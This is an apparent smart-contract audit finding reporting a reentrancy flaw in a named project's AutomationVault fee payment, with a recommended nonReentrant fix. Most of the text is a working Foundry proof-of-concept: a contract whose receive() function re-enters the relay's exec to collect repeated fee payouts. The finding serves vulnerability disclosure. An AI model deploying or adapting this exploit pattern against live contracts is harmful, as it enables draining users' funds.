Joyful Spruce Eel

high

# The malicious bot drain AutomationVault balance with reentrancy attack

## Summary
`OpenRelay` typically reimburses the executor in ETH for the gas costs, along with an additional incentive. However, there is a scenario where a malicious bot managing the execution could drain the entire `AutomationVault` balance of ETH using a reentrancy attack.

## Vulnerability Detail
The issue arises from the bot being able to execute the same job multiple times in a single transaction, resulting in draining the entire `AutomationVault` balance:
```solidity
contract AutomationVault.exec

(_success,) = _feeInfo.feeRecipient.call{value: _feeInfo.fee}('');
```


Below is a POC with `OpenRelay`, but the issue extends to other relays as well.
Copy and paste this file into the `solidity/test/integration` folder and run it.
`forge test --match-path solidity/test/integration/OpenRelayReentrancy.t.sol -vvvv`

When creating an `AutomationVault`, the user specifies the owner of the Vault and, most importantly, the `NATIVE_TOKEN` in `AutomationVaultFactory`:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {CommonIntegrationTest} from "../integration/Common.t.sol";

import {IAutomationVault} from "../../interfaces/core/IAutomationVault.sol";

import "forge-std/console2.sol";

interface IOpenRelay {
    function exec(
        IAutomationVault _automationVault,
        IAutomationVault.ExecData[] calldata _execData,
        address _feeRecipient
    ) external;
}

contract Reentrancy {
    IAutomationVault public automationVault;
    IAutomationVault.ExecData[] public execData;
    address public relay;
    uint256 public counter = 3;

    function setJob(
        IAutomationVault _automationVault,
        IAutomationVault.ExecData[] memory _execData,
        address _relay
    ) external {
        automationVault = _automationVault;
        for (uint i = 0; i < _execData.length; i++) {
            execData.push(_execData[i]);
        }
        relay = _relay;
    }

    function start() external {
        IOpenRelay(relay).exec(automationVault, execData, address(this));
    }

    receive() external payable {
        if (counter != 0) {
            counter--;
            IOpenRelay(relay).exec(automationVault, execData, address(this));
        }
    }
}

contract OpenRelayReentrancy is CommonIntegrationTest {
    Reentrancy reentracy;

    function setUp() public override {
        // AutomationVault setup
        CommonIntegrationTest.setUp();

        // Bot callers array
        address[] memory _bots = new address[](1);
        _bots[0] = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;

        // Job selectors array
        bytes4[] memory _jobSelectors = new bytes4[](2);
        _jobSelectors[0] = basicJob.work.selector;
        _jobSelectors[1] = basicJob.workHard.selector;

        // Job data array
        IAutomationVault.JobData[]
            memory _jobsData = new IAutomationVault.JobData[](1);
        _jobsData[0] = IAutomationVault.JobData(
            address(basicJob),
            _jobSelectors
        );

        startHoax(owner);

        // AutomationVault approve relay data
        automationVault.addRelay(address(openRelay), _bots, _jobsData);
        address(automationVault).call{value: 100 ether}("");

        reentracy = new Reentrancy();
        changePrank(bot);
    }

    function test_executeBondAndGetPaymentWithReentrancy(
        uint16 _howHard
    ) public {
        vm.assume(_howHard <= 100);

        assertEq(bot.balance, 0);

        IAutomationVault.ExecData[]
            memory _execData = new IAutomationVault.ExecData[](1);
        _execData[0] = IAutomationVault.ExecData(
            address(basicJob),
            abi.encodeWithSelector(basicJob.workHard.selector, _howHard)
        );

        reentracy.setJob(automationVault, _execData, address(openRelay));

        openRelay.exec(automationVault, _execData, address(reentracy));
        console2.log("balance", address(reentracy).balance);
    }
}


```

## Impact
The malicious bot drain `AutomationVault` balance with reentrancy attack

## Code Snippet
[core/AutomationVault.sol#L439](https://github.com/sherlock-audit/2024-04-xkeeper/blob/main/xkeeper-core/solidity/contracts/core/AutomationVault.sol#L439)

## Tool used

Manual Review

## Recommendation
Consider adding a `nonReentrant` modifier to the `exec` function in `AutomationVault` smart contract:
```diff
- function exec(address _relayCaller, ExecData[] calldata _execData, FeeData[] calldata _feeData) external {
+ function exec(address _relayCaller, ExecData[] calldata _execData, FeeData[] calldata _feeData) external  nonReentrant{
```
